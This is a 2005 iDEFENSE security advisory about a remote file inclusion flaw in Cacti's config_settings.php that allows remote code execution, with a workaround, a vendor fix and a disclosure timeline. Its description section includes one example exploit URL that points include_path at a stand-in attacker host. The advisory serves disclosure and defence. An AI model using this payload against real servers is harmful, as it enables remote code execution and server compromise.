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Multiple Vendor Cacti config_settings.php Remote Code Execution Vulnerability

06.22.05

BACKGROUND

Cacti is a round-robin database (RRD) tool that helps create graphs from
database information and is available on multiple Linux distributions.

DESCRIPTION

Cacti contains an input validation error in the config_settings.php
script which allows an attacker to include arbitrary PHP code from
remote sites. This in effect allows arbitrary code execution with the
privileges of the web server. The vulnerability specifically exists due
to the script trusting a user supplied include_path variable. The
following example demonstrates how this might be exploited:

http://example.com/include/config_settings.php?config[include_path]=http://attackersite.com/

In this way the file http://attackersite.com/config_arrays.php will be
included and executed on the vulnerable server with the privileges of
the web server.

ANALYSIS

Successful exploitation of this vulnerability allows a remote attacker
to gain shell access with the privileges of the web server. An attacker
can then attempt to escalate privileges using local exploits, possibly
allowing a full root compromise.

DETECTION

iDEFENSE has confirmed the existence of this vulnerability on Cacti
0.8.6c. Earlier versions are suspected vulnerable. The following vendors
include susceptible Cacti packages within their respective operating
system distributions:

 The Debian Project
 The FreeBSD Project
 Gentoo Foundation
 Novell Inc. (SuSE)

WORKAROUND

Require authentication to access the Cacti installation. Restrict access
to web servers using Cacti to only trusted hosts.

VENDOR RESPONSE

Cacti 0.8.6e has been released to address this vulnerability and is
available for download at:

   http://www.cacti.net/downloads/cacti-0.8.6e.tar.gz
   or
   http://www.cacti.net/downloads/cacti-0.8.6e.zip

Release notes for Cacti 0.8.6e can be found at:

   http://www.cacti.net/release_notes_0_8_6e.php

CVE INFORMATION

The Common Vulnerabilities and Exposures (CVE) project has assigned the
name CAN-2005-1526 to this issue. This is a candidate for inclusion in
the CVE list (http://cve.mitre.org), which standardizes names for
security problems.

DISCLOSURE TIMELINE

05/12/2005   Initial vendor notification
05/15/2005   Initial vendor response
06/22/2005   Coordinated public disclosure

CREDIT

Maciej Piotr Falkiewicz is credited with this discovery.

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LEGAL NOTICES

Copyright © 2005 Verisign, Inc.

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Disclaimer: The information in the advisory is believed to be accurate
at the time of publishing based on currently available information. Use
of the information constitutes acceptance for use in an AS IS condition.
There are no warranties with regard to this information. Neither the
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